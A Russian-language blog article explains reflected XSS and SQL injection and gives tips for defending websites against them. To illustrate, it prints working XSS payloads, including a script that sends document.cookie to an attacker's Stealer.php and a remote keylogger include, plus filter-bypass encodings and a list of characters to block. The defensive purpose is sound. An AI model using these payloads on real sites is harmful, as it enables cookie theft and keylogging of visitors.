Как защитить сайт от XSS атак?
Как защитить сайт от XSS атак?
Категория: Разработка Теги: Веб-разработка Опубликовано: 1 апреля 2023

Как защититься от XSS?

По долгу службы я вижу много различных векторов атак, и да, взломать можно всё. Абсолютной безопасности не существует и не может существовать из-за множества факторов, но это уже тема для отдельной статьи.

Так вот, хочу поделиться с вами советами, по противодействию XSS атакам.

Есть множество атак, в которых используется передача чего-либо через параметр в урле или через заголовки в HTTP запросе, и в теории они делятся на множество видов атак, хотя на практике сводятся к попытке написать что-то зловредное во ввод пользователя или поколдовать с заголовками запроса.

Конечно, от махинаций с заголовками HTTP-запроса нужно защищаться при помощи очень тонких настроек самого веб-сервера, и в этой статье я хотел поговорить не про это. Просто решил упомянуть для общего понимания.

SQL-инъекции - они также используют параметры в урле (в случае с GET-запросом), например, есть у вас страничка /cat/?item=1 или /soft/lang=ru, и если этот параметр попадает в SQL-запрос без фильтрации, то хакер может добавить туда, скажем, UNION SELECT 1, и вот будет прикол, если у вас нет фильтрации параметров перед их попаданием в запрос. Он ведь сможет посмотреть что угодно, а потом и поменять что угодно в вашей базе данных.

По сути, всё тоже самое и с POST-запросом, только при нем данные не отображаются в урле. Тут нужно смотреть ваши формы на сайте, нет ли там полей, которые используются для поиска чего-либо в базе данных на вашем сайте?

XSS-атаки более приземленные, и чаще всего они направленны не на базу данных сайта, а на пользователя, который откроет "зараженную" веб-страничку. Они используют все те же параметры и поля формы, что и SQL-инъекции.

Расскажу про XSS на примере отраженной XSS (Reflected XSS).

Есть у вас страничка /soft/lang=ru, хакер отправляет вместо ru символы <> и какое-нибудь слово, которое легко можно найти в исходном коде. По сути, у пентестеров общепринятым таким слово является - canary. То есть, пентестер может пробовать открыть страничку /soft/lang=<>canary и посмотреть что будет. Если страничка откроется, то он лезет в исходный код и ищет там слово canary. Если он его встречает, то смотрит, отфильтровались или нет символы < и >, и не были ли они заменены на HTML-эквиваленты или еще чего. Если не были измены, значит можно пробовать закрыть тег и написать, скажем <svg/onload=alert(document.cookie)>, <script>location.href = 'http://адрес/Stealer.php?cookie='+document.cookie;</script> или вообще <script src="http://адрес/keylogger/keylogger.js">. В первом примере появится всплывающее окно в браузере пользователя, которое покажет его куки. Во втором примере куки будут перенаправлены на сайт злоумышленника. В третьем примере пользователь получит кейлоггер, и его действия во всех вкладках браузера будут отслеживаться до тех пор, пока открыта вкладка с кейлоггером.

Условный вектор может быть такого вида /soft/lang=>Текст</div><svg/onload=alert(document.cookie)>. И это я еще не сказал про то, что передаваемые в параметры данные можно попытаться преобразовать в другую кодировку или еще чего, чтобы обойти систему фильтрации. Например, взять символы <>/ и преобразовать в "&lt;", "&gt;" и "&#x2F;". Прикол в том, что конечный адресат атаки все равно поймёт что там и исполнит вектор. Главное дать пользователю такую ссылку, а он уже как правило посмотрит, что адрес знакомый, а полностью ссылку не будет рассматривать.

Я описал только один вид XSS-атак, но на самом деле их больше:

  • Reflected XSS
  • Stored XSS
  • DOM-based XSS
  • Blind XSS
  • Self XSS

Как защитить сайт от XSS-атак и SQL-инъекций?

Нужно фильтровать абсолютно весь ввод пользователя и проверять что там именно то, что он и должен был ввести. Да, это весьма общие рекомендации, но ведь и технологии на всех сайтах разные, поэтому единой функции какой-либо общей библиотеки не существует, да и тогда все бы знали как её обойти.

Напишу наиболее часто используемые слова и символы в векторах атак:

  • %253C
  • %253E
  • <
  • >
  • \x3C
  • \x3E
  • \x00
  • \xC0
  • \xBC
  • \u003c
  • \u003e
  • '
  • ;
  • :
  • "
  • !
  • +
  • ¼
  • ¾
  • //\\
  • //|\\
  • []
  • MsgBox
  • perl
  • {}
  • &lt;
  • &gt;
  • %BC
  • %BE
  • &quot;
  • &amp;
  • &apos;
  • &#x2F;
  • %uff1c
  • %uff1e
  • %3c
  • %3e
  • &#x3c;
  • &#x3e;
  • Pg==
  • PA==

Любой из этих символов не должен присутствовать в параметре урла, или в поле формы.

Я не буду писать что именно нужно прописать в конфигах nginx или какой код написать для обработки маршрута на php или python. Ниже напишу рекомендации, которые помогут, вам нужно каждую из тем изучать отдельно, иначе эффективность будет крайне низкая.

Точечные рекомендации:

  1. Проверять кодировку передаваемых данных, так как хакер может все закодировать в HTML-эквиваленты, base64, utf-7, передать десятичные коды символов и так далее.
  2. Фильтровать ввод данных пользователя на уровне серверных скриптов от HTML-тегов, спецсимволов, JS кода и SQL команд.
  3. Во множестве языков для разработки веб-сайтов есть возможность передавать данные в запрос не просто отдельной переменной, а отдельной командой ('SELECT * FROM users WHERE name LIKE ?' и значения передать отдельной строкой).
  4. Настроить Content-Security-Policy, но из-за этого могут быть проблемы с ресурсами, которые расположены на других сайтах (css, js).
  5. HTTP-only для cookie (Если в заголовок HTTP-ответа включен флаг HttpOnly, то доступ к файлу cookie через сценарий на стороне клиента практически невозможен).
  6. Заголовок X-XSS-Protection.
  7. Исключить использование небезопасных методов наподобие innerHTML, document.write, document.URL, document.documentURI, document.URLUnencoded, document.baseURI, location, location.href, location.search, location.hash, location.pathname, window.name, document.referrer, document.write(…), document.writeln(…), document.body.innerHtml=…, document.forms[0].action=, document.attachEvent(…), document.create…(…), document.execCommand(…), document.body. …, window.attachEvent(…), document.location=…, document.location.hostname=…, document.location.replace(…), document.location.assign(…), document.URL=…, window.navigate(…), document.open(…), window.open(…), window.location.href=…, eval(…), window.execScript(…), window.setInterval(…), window.setTimeout(…).
  8. Обновлять используемые плагины, библиотеки и компоненты, а не обновляемые исключить.
  9. Использовать сканеры уязвимостей сайта, например, Acunetix XSS Scanner, Scanner в Burp Suite Pro, XSSer, XSStrike и другие.
  10. Проверка Refer в POST запросах, то есть откуда пришел пользователь для защиты от CSRF атак.
  11. Использовать CSRF токены, но учитывать, что если токен предсказуемый, то защиту можно обойти.
  12. Запретить использование контента сайта во внешних фреймах с помощью CSP и X-Frame-Options.
  13. Не использовать OpenRedirect (не использовать URL для редиректа, предупреждать пользователя о редиректе, создать список разрешенных выражений для URL и Referer).
  14. Использовать WAF, если позволяет бюджет.
Алексей Черемных
1091